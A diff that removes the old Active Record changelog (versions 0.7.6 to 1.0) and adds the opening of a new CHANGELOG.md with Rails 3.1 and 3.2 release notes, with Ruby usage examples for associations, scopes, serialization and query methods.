-* Added a return of self to AssociationCollection#<< so appending can be chained, like project << Milestone.create << Milestone.create [geech]
-
-* Added Base#hash and Base#eql? which means that all of the equality using features of array and other containers now works:
-
- [ Person.find(1), Person.find(2), Person.find(3) ] & [ Person.find(1), Person.find(4) ] # => [ Person.find(1) ]
-
-* Added :uniq as an option to has_and_belongs_to_many which will automatically ensure that AssociateCollection#uniq is called
- before pulling records out of the association. This is especially useful for three-way (and above) has_and_belongs_to_many associations.
-
-* Added AssociateCollection#uniq which is especially useful for has_and_belongs_to_many associations that can include duplicates,
- which is common on associations that also use metadata. Usage: post.categories.uniq
-
-* Fixed respond_to? to use a subclass specific hash instead of an Active Record-wide one
-
-* Fixed has_and_belongs_to_many to treat associations between classes in modules properly [Florian Weber]
-
-* Added a NoMethod exception to be raised when query and writer methods are called for attributes that doesn't exist [geech]
-
-* Added a more robust version of Fixtures that throws meaningful errors when on formatting issues [geech]
-
-* Added Base#transaction as a compliment to Base.transaction for prettier use in instance methods [geech]
-
-* Improved the speed of respond_to? by placing the dynamic methods lookup table in a hash [geech]
-
-* Added that any additional fields added to the join table in a has_and_belongs_to_many association
- will be placed as attributes when pulling records out through has_and_belongs_to_many associations.
- This is helpful when have information about the association itself that you want available on retrival.
-
-* Added better loading exception catching and RubyGems retries to the database adapters [alexeyv]
-
-* Fixed bug with per-model transactions [daniel]
-
-* Fixed Base#transaction so that it returns the result of the last expression in the transaction block [alexeyv]
-
-* Added Fixture#find to find the record corresponding to the fixture id. The record
- class name is guessed by using Inflector#classify (also new) on the fixture directory name.
-
- Before: Document.find(@documents["first"]["id"])
- After : @documents["first"].find
-
-* Fixed that the table name part of column names ("TABLE.COLUMN") wasn't removed properly [Andreas Schwarz]
-
-* Fixed a bug with Base#size when a finder_sql was used that didn't capitalize SELECT and FROM [geech]
-
-* Fixed quoting problems on SQLite by adding quote_string to the AbstractAdapter that can be overwritten by the concrete
- adapters for a call to the dbm. [Andreas Schwarz]
-
-* Removed RubyGems backup strategy for requiring SQLite-adapter -- if people want to use gems, they're already doing it with AR.
-
-
-*1.0.0 (35)*
-
-* Added OO-style associations methods [Florian Weber]. Examples:
-
- Project#milestones_count => Project#milestones.size
- Project#build_to_milestones => Project#milestones.build
- Project#create_for_milestones => Project#milestones.create
- Project#find_in_milestones => Project#milestones.find
- Project#find_all_in_milestones => Project#milestones.find_all
-
-* Added serialize as a new class method to control when text attributes should be YAMLized or not. This means that automated
- serialization of hashes, arrays, and so on WILL NO LONGER HAPPEN (#10). You need to do something like this:
-
- class User < ActiveRecord::Base
- serialize :settings
- end
-
- This will assume that settings is a text column and will now YAMLize any object put in that attribute. You can also specify
- an optional :class_name option that'll raise an exception if a serialized object is retrieved as a descendant of a class not in
- the hierarchy. Example:
-
- class User < ActiveRecord::Base
- serialize :settings, :class_name => "Hash"
- end
-
- user = User.create("settings" => %w( one two three ))
- User.find(user.id).settings # => raises SerializationTypeMismatch
-
-* Added the option to connect to a different database for one model at a time. Just call establish_connection on the class
- you want to have connected to another database than Base. This will automatically also connect decendents of that class
- to the different database [Renald Buter].
-
-* Added transactional protection for Base#save. Validations can now check for values knowing that it happens in a transaction and callbacks
- can raise exceptions knowing that the save will be rolled back. [Suggested by Alexey Verkhovsky]
-
-* Added column name quoting so reserved words, such as "references", can be used as column names [Ryan Platte]
-
-* Added the possibility to chain the return of what happened inside a logged block [geech]:
-
- This now works:
- log { ... }.map { ... }
-
- Instead of doing:
- result = []
- log { result = ... }
- result.map { ... }
-
-* Added "socket" option for the MySQL adapter, so you can change it to something else than "/tmp/mysql.sock" [Anna Lissa Cruz]
-
-* Added respond_to? answers for all the attribute methods. So if Person has a name attribute retrieved from the table schema,
- person.respond_to? "name" will return true.
-
-* Added Base.benchmark which can be used to aggregate logging and benchmark, so you can measure and represent multiple statements in a single block.
- Usage (hides all the SQL calls for the individual actions and calculates total runtime for them all):
-
- Project.benchmark("Creating project") do
- project = Project.create("name" => "stuff")
- project.create_manager("name" => "David")
- project.milestones << Milestone.find_all
- end
-
-* Added logging of invalid SQL statements [Daniel Von Fange]
-
-* Added alias Errors#[] for Errors#on, so you can now say person.errors["name"] to retrieve the errors for name [Andreas Schwarz]
-
-* Added RubyGems require attempt if sqlite-ruby is not available through regular methods.
-
-* Added compatibility with 2.x series of sqlite-ruby drivers. [Jamis Buck]
-
-* Added type safety for association assignments, so a ActiveRecord::AssociationTypeMismatch will be raised if you attempt to
- assign an object that's not of the associated class. This cures the problem with nil giving id = 4 and fixnums giving id = 1 on
- mistaken association assignments. [Reported by Andreas Schwarz]
-
-* Added the option to keep many fixtures in one single YAML document [what-a-day]
-
-* Added the class method "inheritance_column" that can be overwritten to return the name of an alternative column than "type" for storing
- the type for inheritance hierarchies. [Dave Steinberg]
-
-* Added [] and []= as an alternative way to access attributes when the regular methods have been overwritten [Dave Steinberg]
-
-* Added the option to observer more than one class at the time by specifying observed_class as an array
-
-* Added auto-id propagation support for tables with arbitrary primary keys that have autogenerated sequences associated with them
- on PostgreSQL. [Dave Steinberg]
-
-* Changed that integer and floats set to "" through attributes= remain as NULL. This was especially a problem for scaffolding and postgresql. (#49)
-
-* Changed the MySQL Adapter to rely on MySQL for its defaults for socket, host, and port [Andreas Schwarz]
-
-* Changed ActionControllerError to decent from StandardError instead of Exception. It can now be caught by a generic rescue.
-
-* Changed class inheritable attributes to not use eval [Caio Chassot]
-
-* Changed Errors#add to now use "invalid" as the default message instead of true, which means full_messages work with those [Marcel Molina Jr.]
-
-* Fixed spelling on Base#add_on_boundry_breaking to Base#add_on_boundary_breaking (old naming still works) [Marcel Molina Jr.]
-
-* Fixed that entries in the has_and_belongs_to_many join table didn't get removed when an associated object was destroyed.
-
-* Fixed unnecessary calls to SET AUTOCOMMIT=0/1 for MySQL adapter [Andreas Schwarz]
-
-* Fixed PostgreSQL defaults are now handled gracefully [Dave Steinberg]
-
-* Fixed increment/decrement_counter are now atomic updates [Andreas Schwarz]
-
-* Fixed the problems the Inflector had turning Attachment into attuchments and Cases into Casis [radsaq/Florian Gross]
-
-* Fixed that cloned records would point attribute references on the parent object [Andreas Schwarz]
-
-* Fixed SQL for type call on inheritance hierarchies [Caio Chassot]
-
-* Fixed bug with typed inheritance [Florian Weber]
-
-* Fixed a bug where has_many collection_count wouldn't use the conditions specified for that association
-
-
-*0.9.5*
-
-* Expanded the table_name guessing rules immensely [Florian Green]. Documentation:
-
- Guesses the table name (in forced lower-case) based on the name of the class in the inheritance hierarchy descending
- directly from ActiveRecord. So if the hierarchy looks like: Reply < Message < ActiveRecord, then Message is used
- to guess the table name from even when called on Reply. The guessing rules are as follows:
- * Class name ends in "x", "ch" or "ss": "es" is appended, so a Search class becomes a searches table.
- * Class name ends in "y" preceded by a consonant or "qu": The "y" is replaced with "ies",
- so a Category class becomes a categories table.
- * Class name ends in "fe": The "fe" is replaced with "ves", so a Wife class becomes a wives table.
- * Class name ends in "lf" or "rf": The "f" is replaced with "ves", so a Half class becomes a halves table.
- * Class name ends in "person": The "person" is replaced with "people", so a Salesperson class becomes a salespeople table.
- * Class name ends in "man": The "man" is replaced with "men", so a Spokesman class becomes a spokesmen table.
- * Class name ends in "sis": The "i" is replaced with an "e", so a Basis class becomes a bases table.
- * Class name ends in "tum" or "ium": The "um" is replaced with an "a", so a Datum class becomes a data table.
- * Class name ends in "child": The "child" is replaced with "children", so a NodeChild class becomes a node_children table.
- * Class name ends in an "s": No additional characters are added or removed.
- * Class name doesn't end in "s": An "s" is appended, so a Comment class becomes a comments table.
- * Class name with word compositions: Compositions are underscored, so CreditCard class becomes a credit_cards table.
- Additionally, the class-level table_name_prefix is prepended to the table_name and the table_name_suffix is appended.
- So if you have "myapp_" as a prefix, the table name guess for an Account class becomes "myapp_accounts".
-
- You can also overwrite this class method to allow for unguessable links, such as a Mouse class with a link to a
- "mice" table. Example:
-
- class Mouse < ActiveRecord::Base
- def self.table_name() "mice" end
- end
-
- This conversion is now done through an external class called Inflector residing in lib/active_record/support/inflector.rb.
-
-* Added find_all_in_collection to has_many defined collections. Works like this:
-
- class Firm < ActiveRecord::Base
- has_many :clients
- end
-
- firm.id # => 1
- firm.find_all_in_clients "revenue > 1000" # SELECT * FROM clients WHERE firm_id = 1 AND revenue > 1000
-
- [Requested by Dave Thomas]
-
-* Fixed finders for inheritance hierarchies deeper than one level [Florian Weber]
-
-* Added add_on_boundry_breaking to errors to accompany add_on_empty as a default validation method. It's used like this:
-
- class Person < ActiveRecord::Base
- protected
- def validation
- errors.add_on_boundry_breaking "password", 3..20
- end
- end
-
- This will add an error to the tune of "is too short (minimum is 3 characters)" or "is too long (minimum is 20 characters)" if
- the password is outside the boundry. The messages can be changed by passing a third and forth parameter as message strings.
-
-* Implemented a clone method that works properly with AR. It returns a clone of the record that
- hasn't been assigned an id yet and is treated as a new record.
-
-* Allow for domain sockets in PostgreSQL by not assuming localhost when no host is specified [Scott Barron]
-
-* Fixed that bignums are saved properly instead of attempted to be YAMLized [Andreas Schwartz]
-
-* Fixed a bug in the GEM where the rdoc options weren't being passed according to spec [Chad Fowler]
-
-* Fixed a bug with the exclusively_dependent option for has_many
-
-
-*0.9.4*
-
-* Correctly guesses the primary key when the class is inside a module [Dave Steinberg].
-
-* Added [] and []= as alternatives to read_attribute and write_attribute [Dave Steinberg]
-
-* has_and_belongs_to_many now accepts an :order key to determine in which order the collection is returned [radsaq].
-
-* The ids passed to find and find_on_conditions are now automatically sanitized.
-
-* Added escaping of plings in YAML content.
-
-* Multi-parameter assigns where all the parameters are empty will now be set to nil instead of a new instance of their class.
-
-* Proper type within an inheritance hierarchy is now ensured already at object initialization (instead of first at create)
-
-
-*0.9.3*
-
-* Fixed bug with using a different primary key name together with has_and_belongs_to_many [Investigation by Scott]
-
-* Added :exclusively_dependent option to the has_many association macro. The doc reads:
-
- If set to true all the associated object are deleted in one SQL statement without having their
- before_destroy callback run. This should only be used on associations that depend solely on
- this class and don't need to do any clean-up in before_destroy. The upside is that it's much
- faster, especially if there's a counter_cache involved.
-
-* Added :port key to connection options, so the PostgreSQL and MySQL adapters can connect to a database server
- running on another port than the default.
-
-* Converted the new natural singleton methods that prevented AR objects from being saved by PStore
- (and hence be placed in a Rails session) to a module. [Florian Weber]
-
-* Fixed the use of floats (was broken since 0.9.0+)
-
-* Fixed PostgreSQL adapter so default values are displayed properly when used in conjunction with
- Action Pack scaffolding.
-
-* Fixed booleans support for PostgreSQL (use real true/false on boolean fields instead of 0/1 on tinyints) [radsaq]
-
-
-*0.9.2*
-
-* Added static method for instantly updating a record
-
-* Treat decimal and numeric as Ruby floats [Andreas Schwartz]
-
-* Treat chars as Ruby strings (fixes problem for Action Pack form helpers too)
-
-* Removed debugging output accidently left in (which would screw web applications)
-
-
-*0.9.1*
-
-* Added MIT license
-
-* Added natural object-style assignment for has_and_belongs_to_many associations. Consider the following model:
-
- class Event < ActiveRecord::Base
- has_one_and_belongs_to_many :sponsors
- end
-
- class Sponsor < ActiveRecord::Base
- has_one_and_belongs_to_many :sponsors
- end
-
- Earlier, you'd have to use synthetic methods for creating associations between two objects of the above class:
-
- roskilde_festival.add_to_sponsors(carlsberg)
- roskilde_festival.remove_from_sponsors(carlsberg)
-
- nike.add_to_events(world_cup)
- nike.remove_from_events(world_cup)
-
- Now you can use regular array-styled methods:
-
- roskilde_festival.sponsors << carlsberg
- roskilde_festival.sponsors.delete(carlsberg)
-
- nike.events << world_cup
- nike.events.delete(world_cup)
-
-* Added delete method for has_many associations. Using this will nullify an association between the has_many and the belonging
- object by setting the foreign key to null. Consider this model:
-
- class Post < ActiveRecord::Base
- has_many :comments
- end
-
- class Comment < ActiveRecord::Base
- belongs_to :post
- end
-
- You could do something like:
-
- funny_comment.has_post? # => true
- announcement.comments.delete(funny_comment)
- funny_comment.has_post? # => false
-
-
-*0.9.0*
-
-* Active Record is now thread safe! (So you can use it with Cerise and WEBrick applications)
- [Implementation idea by Michael Neumann, debugging assistance by Jamis Buck]
-
-* Improved performance by roughly 400% on a basic test case of pulling 100 records and querying one attribute.
- This brings the tax for using Active Record instead of "riding on the metal" (using MySQL-ruby C-driver directly) down to ~50%.
- Done by doing lazy type conversions and caching column information on the class-level.
-
-* Added callback objects and procs as options for implementing the target for callback macros.
-
-* Added "counter_cache" option to belongs_to that automates the usage of increment_counter and decrement_counter. Consider:
-
- class Post < ActiveRecord::Base
- has_many :comments
- end
-
- class Comment < ActiveRecord::Base
- belongs_to :post
- end
-
- Iterating over 100 posts like this:
-
- <% for post in @posts %>
- <%= post.title %> has <%= post.comments_count %> comments
- <% end %>
-
- Will generate 100 SQL count queries -- one for each call to post.comments_count. If you instead add a "comments_count" int column
- to the posts table and rewrite the comments association macro with:
-
- class Comment < ActiveRecord::Base
- belongs_to :post, :counter_cache => true
- end
-
- Those 100 SQL count queries will be reduced to zero. Beware that counter caching is only appropriate for objects that begin life
- with the object it's specified to belong with and is destroyed like that as well. Typically objects where you would also specify
- :dependent => true. If your objects switch from one belonging to another (like a post that can be move from one category to another),
- you'll have to manage the counter yourself.
-
-* Added natural object-style assignment for has_one and belongs_to associations. Consider the following model:
-
- class Project < ActiveRecord::Base
- has_one :manager
- end
-
- class Manager < ActiveRecord::Base
- belongs_to :project
- end
-
- Earlier, assignments would work like following regardless of which way the assignment told the best story:
-
- active_record.manager_id = david.id
-
- Now you can do it either from the belonging side:
-
- david.project = active_record
-
- ...or from the having side:
-
- active_record.manager = david
-
- If the assignment happens from the having side, the assigned object is automatically saved. So in the example above, the
- project_id attribute on david would be set to the id of active_record, then david would be saved.
-
-* Added natural object-style assignment for has_many associations [Florian Weber]. Consider the following model:
-
- class Project < ActiveRecord::Base
- has_many :milestones
- end
-
- class Milestone < ActiveRecord::Base
- belongs_to :project
- end
-
- Earlier, assignments would work like following regardless of which way the assignment told the best story:
-
- deadline.project_id = active_record.id
-
- Now you can do it either from the belonging side:
-
- deadline.project = active_record
-
- ...or from the having side:
-
- active_record.milestones << deadline
-
- The milestone is automatically saved with the new foreign key.
-
-* API CHANGE: Attributes for text (or blob or similar) columns will now have unknown classes stored using YAML instead of using
- to_s. (Known classes that won't be yamelized are: String, NilClass, TrueClass, FalseClass, Fixnum, Date, and Time).
- Likewise, data pulled out of text-based attributes will be attempted converged using Yaml if they have the "--- " header.
- This was primarily done to be enable the storage of hashes and arrays without wrapping them in aggregations, so now you can do:
-
- user = User.find(1)
- user.preferences = { "background" => "black", "display" => large }
- user.save
-
- User.find(1).preferences # => { "background" => "black", "display" => large }
-
- Please note that this method should only be used when you don't care about representing the object in proper columns in
- the database. A money object consisting of an amount and a currency is still a much better fit for a value object done through
- aggregations than this new option.
-
-* POSSIBLE CODE BREAKAGE: As a consequence of the lazy type conversions, it's a bad idea to reference the @attributes hash
- directly (it always was, but now it's paramount that you don't). If you do, you won't get the type conversion. So to implement
- new accessors for existing attributes, use read_attribute(attr_name) and write_attribute(attr_name, value) instead. Like this:
-
- class Song < ActiveRecord::Base
- # Uses an integer of seconds to hold the length of the song
-
- def length=(minutes)
- write_attribute("length", minutes * 60)
- end
-
- def length
- read_attribute("length") / 60
- end
- end
-
- The clever kid will notice that this opens a door to sidestep the automated type conversion by using @attributes directly.
- This is not recommended as read/write_attribute may be granted additional responsibilities in the future, but if you think
- you know what you're doing and aren't afraid of future consequences, this is an option.
-
-* Applied a few minor bug fixes reported by Daniel Von Fange.
-
-
-*0.8.4*
-
-_Reflection_
-
-* Added ActiveRecord::Reflection with a bunch of methods and classes for reflecting in aggregations and associations.
-
-* Added Base.columns and Base.content_columns which returns arrays of column description (type, default, etc) objects.
-
-* Added Base#attribute_names which returns an array of names for the attributes available on the object.
-
-* Added Base#column_for_attribute(name) which returns the column description object for the named attribute.
-
-
-_Misc_
-
-* Added multi-parameter assignment:
-
- # Instantiate objects for all attribute classes that needs more than one constructor parameter. This is done
- # by calling new on the column type or aggregation type (through composed_of) object with these parameters.
- # So having the pairs written_on(1) = "2004", written_on(2) = "6", written_on(3) = "24", will instantiate
- # written_on (a date type) with Date.new("2004", "6", "24"). You can also specify a typecast character in the
- # parenteses to have the parameters typecasted before they're used in the constructor. Use i for Fixnum, f for Float,
- # s for String, and a for Array.
-
- This is incredibly useful for assigning dates from HTML drop-downs of month, year, and day.
-
-* Fixed bug with custom primary key column name and Base.find on multiple parameters.
-
-* Fixed bug with dependent option on has_one associations if there was no associated object.
-
-
-*0.8.3*
-
-_Transactions_
-
-* Added transactional protection for destroy (important for the new :dependent option) [Suggested by Carl Youngblood]
-
-* Fixed so transactions are ignored on MyISAM tables for MySQL (use InnoDB to get transactions)
-
-* Changed transactions so only exceptions will cause a rollback, not returned false.
-
-
-_Mapping_
-
-* Added support for non-integer primary keys [Aredridel/earlier work by Michael Neumann]
-
- User.find "jdoe"
- Product.find "PDKEY-INT-12"
-
-* Added option to specify naming method for primary key column. ActiveRecord::Base.primary_key_prefix_type can either
- be set to nil, :table_name, or :table_name_with_underscore. :table_name will assume that Product class has a primary key
- of "productid" and :table_name_with_underscore will assume "product_id". The default nil will just give "id".
-
-* Added an overwriteable primary_key method that'll instruct AR to the name of the
- id column [Aredridele/earlier work by Guan Yang]
-
- class Project < ActiveRecord::Base
- def self.primary_key() "project_id" end
- end
-
-* Fixed that Active Records can safely associate inside and out of modules.
-
- class MyApplication::Account < ActiveRecord::Base
- has_many :clients # will look for MyApplication::Client
- has_many :interests, :class_name => "Business::Interest" # will look for Business::Interest
- end
-
-* Fixed that Active Records can safely live inside modules [Aredridel]
-
- class MyApplication::Account < ActiveRecord::Base
- end
-
-
-_Misc_
-
-* Added freeze call to value object assignments to ensure they remain immutable [Spotted by Gavin Sinclair]
-
-* Changed interface for specifying observed class in observers. Was OBSERVED_CLASS constant, now is
- observed_class() class method. This is more consistant with things like self.table_name(). Works like this:
-
- class AuditObserver < ActiveRecord::Observer
- def self.observed_class() Account end
- def after_update(account)
- AuditTrail.new(account, "UPDATED")
- end
- end
-
- [Suggested by Gavin Sinclair]
-
-* Create new Active Record objects by setting the attributes through a block. Like this:
-
- person = Person.new do |p|
- p.name = 'Freddy'
- p.age = 19
- end
-
- [Suggested by Gavin Sinclair]
-
-
-*0.8.2*
-
-* Added inheritable callback queues that can ensure that certain callback methods or inline fragments are
- run throughout the entire inheritance hierarchy. Regardless of whether a descendant overwrites the callback
- method:
-
- class Topic < ActiveRecord::Base
- before_destroy :destroy_author, 'puts "I'm an inline fragment"'
- end
-
- Learn more in link:classes/ActiveRecord/Callbacks.html
-
-* Added :dependent option to has_many and has_one, which will automatically destroy associated objects when
- the holder is destroyed:
-
- class Album < ActiveRecord::Base
- has_many :tracks, :dependent => true
- end
-
- All the associated tracks are destroyed when the album is.
-
-* Added Base.create as a factory that'll create, save, and return a new object in one step.
-
-* Automatically convert strings in config hashes to symbols for the _connection methods. This allows you
- to pass the argument hashes directly from yaml. (Luke)
-
-* Fixed the install.rb to include simple.rb [Spotted by Kevin Bullock]
-
-* Modified block syntax to better follow our code standards outlined in
- http://www.rubyonrails.org/CodingStandards
-
-
-*0.8.1*
-
-* Added object-level transactions [Austin Ziegler]
-
-* Changed adapter-specific connection methods to use centralized ActiveRecord::Base.establish_connection,
- which is parametized through a config hash with symbol keys instead of a regular parameter list.
- This will allow for database connections to be opened in a more generic fashion. (Luke)
-
- NOTE: This requires all *_connections to be updated! Read more in:
- http://ar.rubyonrails.org/classes/ActiveRecord/Base.html#M000081
-
-* Fixed SQLite adapter so objects fetched from has_and_belongs_to_many have proper attributes
- (t.name is now name). [Spotted by Garrett Rooney]
-
-* Fixed SQLite adapter so dates are returned as Date objects, not Time objects [Spotted by Gavin Sinclair]
-
-* Fixed requirement of date class, so date conversions are succesful regardless of whether you
- manually require date or not.
-
-
-*0.8.0*
-
-* Added transactions
-
-* Changed Base.find to also accept either a list (1, 5, 6) or an array of ids ([5, 7])
- as parameter and then return an array of objects instead of just an object
-
-* Fixed method has_collection? for has_and_belongs_to_many macro to behave as a
- collection, not an association
-
-* Fixed SQLite adapter so empty or nil values in columns of datetime, date, or time type
- aren't treated as current time [Spotted by Gavin Sinclair]
-
-
-*0.7.6*
-
-* Fixed the install.rb to create the lib/active_record/support directory [Spotted by Gavin Sinclair]
-* Fixed that has_association? would always return true [Daniel Von Fange]
diff --git a/activerecord/CHANGELOG.md b/activerecord/CHANGELOG.md
new file mode 100644
index 0000000000..f798b03ea1
--- /dev/null
+++ b/activerecord/CHANGELOG.md
@@ -0,0 +1,6678 @@
+## Rails 3.2.0 (unreleased) ##
+
+
+* Implemented ActiveRecord::Relation#pluck method
+
+ Method returns Array of column value from table under ActiveRecord model
+
+ Client.pluck(:id)
+
+ *Bogdan Gusiev*
+
+* Automatic closure of connections in threads is deprecated. For example
+ the following code is deprecated:
+
+ Thread.new { Post.find(1) }.join
+
+ It should be changed to close the database connection at the end of
+ the thread:
+
+ Thread.new {
+ Post.find(1)
+ Post.connection.close
+ }.join
+
+ Only people who spawn threads in their application code need to worry
+ about this change.
+
+* Deprecated:
+
+ * `set_table_name`
+ * `set_inheritance_column`
+ * `set_sequence_name`
+ * `set_primary_key`
+ * `set_locking_column`
+
+ Use an assignment method instead. For example, instead of `set_table_name`, use `self.table_name=`:
+
+ class Project < ActiveRecord::Base
+ self.table_name = "project"
+ end
+
+ Or define your own `self.table_name` method:
+
+ class Post < ActiveRecord::Base
+ def self.table_name
+ "special_" + super
+ end
+ end
+ Post.table_name # => "special_posts"
+
+ *Jon Leighton*
+
+* Generated association methods are created within a separate module to allow overriding and
+ composition using `super`. For a class named `MyModel`, the module is named
+ `MyModel::GeneratedFeatureMethods`. It is included into the model class immediately after
+ the `generated_attributes_methods` module defined in ActiveModel, so association methods
+ override attribute methods of the same name. *Josh Susser*
+
+* Implemented ActiveRecord::Relation#explain. *fxn*
+
+* Add ActiveRecord::Relation#uniq for generating unique queries.
+
+ Before:
+
+ Client.select('DISTINCT name')
+
+ After:
+
+ Client.select(:name).uniq
+
+ This also allows you to revert the unqueness in a relation:
+
+ Client.select(:name).uniq.uniq(false)
+
+ *Jon Leighton*
+
+* Support index sort order in sqlite, mysql and postgres adapters. *Vlad Jebelev*
+
+* Allow the :class_name option for associations to take a symbol (:Client) in addition to
+ a string ('Client').
+
+ This is to avoid confusing newbies, and to be consistent with the fact that other options
+ like :foreign_key already allow a symbol or a string.
+
+ *Jon Leighton*
+
+* In development mode the db:drop task also drops the test database. For symmetry with
+ the db:create task. *Dmitriy Kiriyenko*
+
+* Added ActiveRecord::Base.store for declaring simple single-column key/value stores *DHH*
+
+ class User < ActiveRecord::Base
+ store :settings, accessors: [ :color, :homepage ]
+ end
+
+ u = User.new(color: 'black', homepage: '37signals.com')
+ u.color # Accessor stored attribute
+ u.settings[:country] = 'Denmark' # Any attribute, even if not specified with an accessor
+
+
+* MySQL: case-insensitive uniqueness validation avoids calling LOWER when
+ the column already uses a case-insensitive collation. Fixes #561.
+
+ *Joseph Palermo*
+
+* Transactional fixtures enlist all active database connections. You can test
+ models on different connections without disabling transactional fixtures.
+
+ *Jeremy Kemper*
+
+* Add first_or_create, first_or_create!, first_or_initialize methods to Active Record. This is a
+ better approach over the old find_or_create_by dynamic methods because it's clearer which
+ arguments are used to find the record and which are used to create it:
+
+ User.where(:first_name => "Scarlett").first_or_create!(:last_name => "Johansson")
+
+ *Andrés Mejía*
+
+* Fix nested attributes bug where _destroy parameter is taken into account
+ during :reject_if => :all_blank (fixes #2937)
+
+ *Aaron Christy*
+
+## Rails 3.1.3 (unreleased) ##
+
+* Perf fix: If we're deleting all records in an association, don't add a IN(..) clause
+ to the query. *GH 3672*
+
+ *Jon Leighton*
+
+* Fix bug with referencing other mysql databases in set_table_name. *GH 3690*
+
+* Fix performance bug with mysql databases on a server with lots of other databses. *GH 3678*
+
+ *Christos Zisopoulos and Kenny J*
+
+## Rails 3.1.2 (unreleased) ##
+
+* Fix bug with PostgreSQLAdapter#indexes. When the search path has multiple schemas, spaces
+ were not being stripped from the schema names after the first.
+
+ *Sean Kirby*
+
+* Preserve SELECT columns on the COUNT for finder_sql when possible. *GH 3503*
+
+ *Justin Mazzi*
+
+* Reset prepared statement cache when schema changes impact statement results. *GH 3335*
+
+ *Aaron Patterson*
+
+* Postgres: Do not attempt to deallocate a statement if the connection is no longer active.
+
+ *Ian Leitch*
+
+* Prevent QueryCache leaking database connections. *GH 3243*
+
+ *Mark J. Titorenko*
+
+* Fix bug where building the conditions of a nested through association could potentially
+ modify the conditions of the through and/or source association. If you have experienced
+ bugs with conditions appearing in the wrong queries when using nested through associations,
+ this probably solves your problems. *GH #3271*
+
+ *Jon Leighton*
+
+* If a record is removed from a has_many :through, all of the join records relating to that
+ record should also be removed from the through association's target.
+
+ *Jon Leighton*
+
+* Fix adding multiple instances of the same record to a has_many :through. *GH #3425*
+
+ *Jon Leighton*
+
+* Fix creating records in a through association with a polymorphic source type. *GH #3247*
+
+ *Jon Leighton*
+
+* MySQL: use the information_schema than the describe command when we look for a primary key. *GH #3440*
+
+ *Kenny J*
+
+## Rails 3.1.1 (October 7, 2011) ##
+
+* Add deprecation for the preload_associations method. Fixes #3022.
+
+ *Jon Leighton*
+
+* Don't require a DB connection when loading a model that uses set_primary_key. GH #2807.
+
+ *Jon Leighton*
+
+* Fix using select() with a habtm association, e.g. Person.friends.select(:name). GH #3030 and
+ \#2923.
+
+ *Hendy Tanata*
+
+* Fix belongs_to polymorphic with custom primary key on target. GH #3104.
+
+ *Jon Leighton*
+
+* CollectionProxy#replace should change the DB records rather than just mutating the array.
+ Fixes #3020.
+
+ *Jon Leighton*
+
+* LRU cache in mysql and sqlite are now per-process caches.
+
+ * lib/active_record/connection_adapters/mysql_adapter.rb: LRU cache keys are per process id.
+ * lib/active_record/connection_adapters/sqlite_adapter.rb: ditto
+ *Aaron Patterson*
+
+* Support bulk change_table in mysql2 adapter, as well as the mysql one. *Jon Leighton*
+
+* If multiple parameters are sent representing a date, and some are blank, the
+ resulting object is nil. In previous releases those values defaulted to 1. This only affects existing but blank parameters, missing ones still raise an error. [Akira Matsuda]
+* ActiveRecord::Base.establish_connection now takes a string that contains
+ a URI that specifies the connection configuration. For example:
+ ActiveRecord::Base.establish_connection 'postgres://localhost/foo'
+
+* Active Record's dynamic finder will now raise the error if you passing in less number of arguments than what you call in method signature.
+
+ So if you were doing this and expecting the second argument to be nil:
+
+ User.find_by_username_and_group("sikachu")
+
+ You'll now get `ArgumentError: wrong number of arguments (1 for 2).` You'll then have to do this:
+
+ User.find_by_username_and_group("sikachu", nil)
+
+ *Prem Sichanugrist*
+
+
+## Rails 3.1.0 (August 30, 2011) ##
+
+* Add a proxy_association method to association proxies, which can be called by association
+ extensions to access information about the association. This replaces proxy_owner etc with
+ proxy_association.owner.
+
+ *Jon Leighton*
+
+* ActiveRecord::MacroReflection::AssociationReflection#build_record has a new method signature.
+
+ Before: def build_association(*options)
+ After: def build_association(*options, &block)
+
+ Users who are redefining this method to extend functionality should ensure that the block is
+ passed through to ActiveRecord::Base#new.
+
+ This change is necessary to fix https://github.com/rails/rails/issues/1842.
+
+ *Jon Leighton*
+
+* AR#pluralize_table_names can be used to singularize/pluralize table name of an individual model:
+
+ class User < ActiveRecord::Base
+ self.pluralize_table_names = false
+ end
+
+ Previously this could only be set globally for all models through ActiveRecord::Base.pluralize_table_names. *Guillermo Iguaran*
+
+* Add block setting of attributes to singular associations:
+
+ class User < ActiveRecord::Base
+ has_one :account
+ end
+
+ user.build_account{ |a| a.credit_limit => 100.0 }
+
+ The block is called after the instance has been initialized. *Andrew White*
+
+* Add ActiveRecord::Base.attribute_names to return a list of attribute names. This will return an empty array if the model is abstract or table does not exists. *Prem Sichanugrist*
+
+* CSV Fixtures are deprecated and support will be removed in Rails 3.2.0
+
+* AR#new, AR#create, AR#create!, AR#update_attributes and AR#update_attributes! all accept a second hash as option that allows you
+ to specify which role to consider when assigning attributes. This is built on top of ActiveModel's
+ new mass assignment capabilities:
+
+ class Post < ActiveRecord::Base
+ attr_accessible :title
+ attr_accessible :title, :published_at, :as => :admin
+ end
+
+ Post.new(params[:post], :as => :admin)
+
+ assign_attributes() with similar API was also added and attributes=(params, guard) was deprecated.
+
+ Please note that this changes the method signatures for AR#new, AR#create, AR#create!, AR#update_attributes and AR#update_attributes!. If you have overwritten these methods you should update them accordingly.
+
+ *Josh Kalderimis*
+
+* default_scope can take a block, lambda, or any other object which responds to `call` for lazy
+ evaluation:
+
+ default_scope { ... }
+ default_scope lambda { ... }
+ default_scope method(:foo)
+
+ This feature was originally implemented by Tim Morgan, but was then removed in favour of
+ defining a 'default_scope' class method, but has now been added back in by Jon Leighton.
+ The relevant lighthouse ticket is #1812.
+
+* Default scopes are now evaluated at the latest possible moment, to avoid problems where
+ scopes would be created which would implicitly contain the default scope, which would then
+ be impossible to get rid of via Model.unscoped.
+
+ Note that this means that if you are inspecting the internal structure of an
+ ActiveRecord::Relation, it will *not* contain the default scope, though the resulting
+ query will do. You can get a relation containing the default scope by calling
+ ActiveRecord#with_default_scope, though this is not part of the public API.
+
+ *Jon Leighton*
+
+* If you wish to merge default scopes in special ways, it is recommended to define your default
+ scope as a class method and use the standard techniques for sharing code (inheritance, mixins,
+ etc.):
+
+ class Post < ActiveRecord::Base
+ def self.default_scope
+ where(:published => true).where(:hidden => false)
+ end
+ end
+
+ *Jon Leighton*
+
+* PostgreSQL adapter only supports PostgreSQL version 8.2 and higher.
+
+* ConnectionManagement middleware is changed to clean up the connection pool
+ after the rack body has been flushed.
+
+* Added an update_column method on ActiveRecord. This new method updates a given attribute on an object, skipping validations and callbacks.
+ It is recommended to use #update_attribute unless you are sure you do not want to execute any callback, including the modification of
+ the updated_at column. It should not be called on new records.
+ Example:
+
+ User.first.update_column(:name, "sebastian") # => true
